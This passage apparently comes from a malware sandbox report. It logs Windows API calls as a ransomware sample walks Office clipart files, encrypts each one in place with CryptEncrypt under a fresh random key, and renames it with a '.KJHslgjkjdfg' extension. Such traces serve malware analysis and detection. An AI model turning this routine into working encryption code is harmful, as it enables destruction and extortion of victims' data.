nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0187.493] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0187.494] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0187.494] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0187.494] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0187.494] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0187.494] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0187.494] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0187.494] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.494] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xa202, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xa202, lpOverlapped=0x0) returned 1 [0187.503] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xa210, dwBufLen=0xa210 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xa210) returned 1 [0187.504] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.504] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xa210, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xa210, lpOverlapped=0x0) returned 1 [0187.504] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0187.504] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xa2e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.504] SetEndOfFile (hFile=0x114) returned 1 [0187.507] GetProcessHeap () returned 0x2a0000 [0187.507] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0187.507] GetProcessHeap () returned 0x2a0000 [0187.507] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0187.507] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01179J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01179j.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01179J.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01179j.jpg.kjhslgjkjdfg")) returned 1 [0187.511] CloseHandle (hObject=0x114) returned 1 [0187.511] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6ce6f8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x18be, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH01213K.JPG", cAlternateFileName="")) returned 1 [0187.511] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01213K.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01213k.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0187.512] GetProcessHeap () returned 0x2a0000 [0187.512] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0187.512] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0187.512] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0187.512] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x2, lpOverlapped=0x0) returned 1 [0187.717] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0187.717] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0187.717] GetProcessHeap () returned 0x2a0000 [0187.717] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0187.717] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0187.717] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0187.717] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0187.717] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0187.717] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0187.718] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0187.718] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0187.718] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0187.718] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0187.718] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0187.718] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.718] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x18be, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x18be, lpOverlapped=0x0) returned 1 [0187.730] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x18c0, dwBufLen=0x18c0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x18c0) returned 1 [0187.730] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.730] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x18c0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x18c0, lpOverlapped=0x0) returned 1 [0187.730] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0187.730] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1994, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.730] SetEndOfFile (hFile=0x114) returned 1 [0187.733] GetProcessHeap () returned 0x2a0000 [0187.733] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0187.733] GetProcessHeap () returned 0x2a0000 [0187.733] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0187.733] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01213K.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01213k.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01213K.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01213k.jpg.kjhslgjkjdfg")) returned 1 [0187.735] CloseHandle (hObject=0x114) returned 1 [0187.735] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5a3d9150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1c94, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH01221K.JPG", cAlternateFileName="")) returned 1 [0187.735] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01221K.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01221k.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0187.736] GetProcessHeap () returned 0x2a0000 [0187.736] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0187.736] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0187.736] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0187.736] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0187.740] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0187.740] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0187.740] GetProcessHeap () returned 0x2a0000 [0187.740] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0187.740] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0187.740] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0187.740] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0187.740] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0187.740] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0187.740] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0187.740] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0187.740] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0187.740] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0187.741] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0187.741] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.741] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1c94, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1c94, lpOverlapped=0x0) returned 1 [0187.755] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1ca0, dwBufLen=0x1ca0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1ca0) returned 1 [0187.755] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.755] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1ca0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1ca0, lpOverlapped=0x0) returned 1 [0187.755] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0187.755] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1d74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.755] SetEndOfFile (hFile=0x114) returned 1 [0187.758] GetProcessHeap () returned 0x2a0000 [0187.759] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0187.759] GetProcessHeap () returned 0x2a0000 [0187.759] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0187.759] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01221K.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01221k.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01221K.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01221k.jpg.kjhslgjkjdfg")) returned 1 [0187.760] CloseHandle (hObject=0x114) returned 1 [0187.761] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37b36e00, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x6ce6f8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x37b36e00, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH01235U.BMP", cAlternateFileName="")) returned 1 [0187.761] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01235U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01235u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0187.762] GetProcessHeap () returned 0x2a0000 [0187.762] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0187.762] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0187.762] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0187.762] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0187.767] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0187.767] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0187.767] GetProcessHeap () returned 0x2a0000 [0187.767] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0187.767] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0187.767] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0187.767] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0187.767] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0187.768] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0187.768] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0187.768] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0187.768] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0187.768] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0187.768] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0187.768] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.768] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x7db8, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x7db8, lpOverlapped=0x0) returned 1 [0187.791] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7dc0, dwBufLen=0x7dc0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7dc0) returned 1 [0187.792] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.792] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x7dc0, lpOverlapped=0x0) returned 1 [0187.792] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0187.792] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x7e94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.792] SetEndOfFile (hFile=0x114) returned 1 [0187.795] GetProcessHeap () returned 0x2a0000 [0187.795] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0187.795] GetProcessHeap () returned 0x2a0000 [0187.795] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0187.795] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01235U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01235u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01235U.BMP.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01235u.bmp.kjhslgjkjdfg")) returned 1 [0187.797] CloseHandle (hObject=0x114) returned 1 [0187.797] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc83e7e00, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x5a3d9150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc83e7e00, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7ce0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH01236U.BMP", cAlternateFileName="")) returned 1 [0187.797] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01236U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01236u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0187.798] GetProcessHeap () returned 0x2a0000 [0187.798] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0187.798] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0187.798] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0187.799] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0187.799] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0187.799] GetProcessHeap () returned 0x2a0000 [0187.799] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0187.799] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0187.799] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0187.799] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0187.801] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0187.801] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0187.801] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0187.801] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0187.801] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0187.802] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0187.802] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 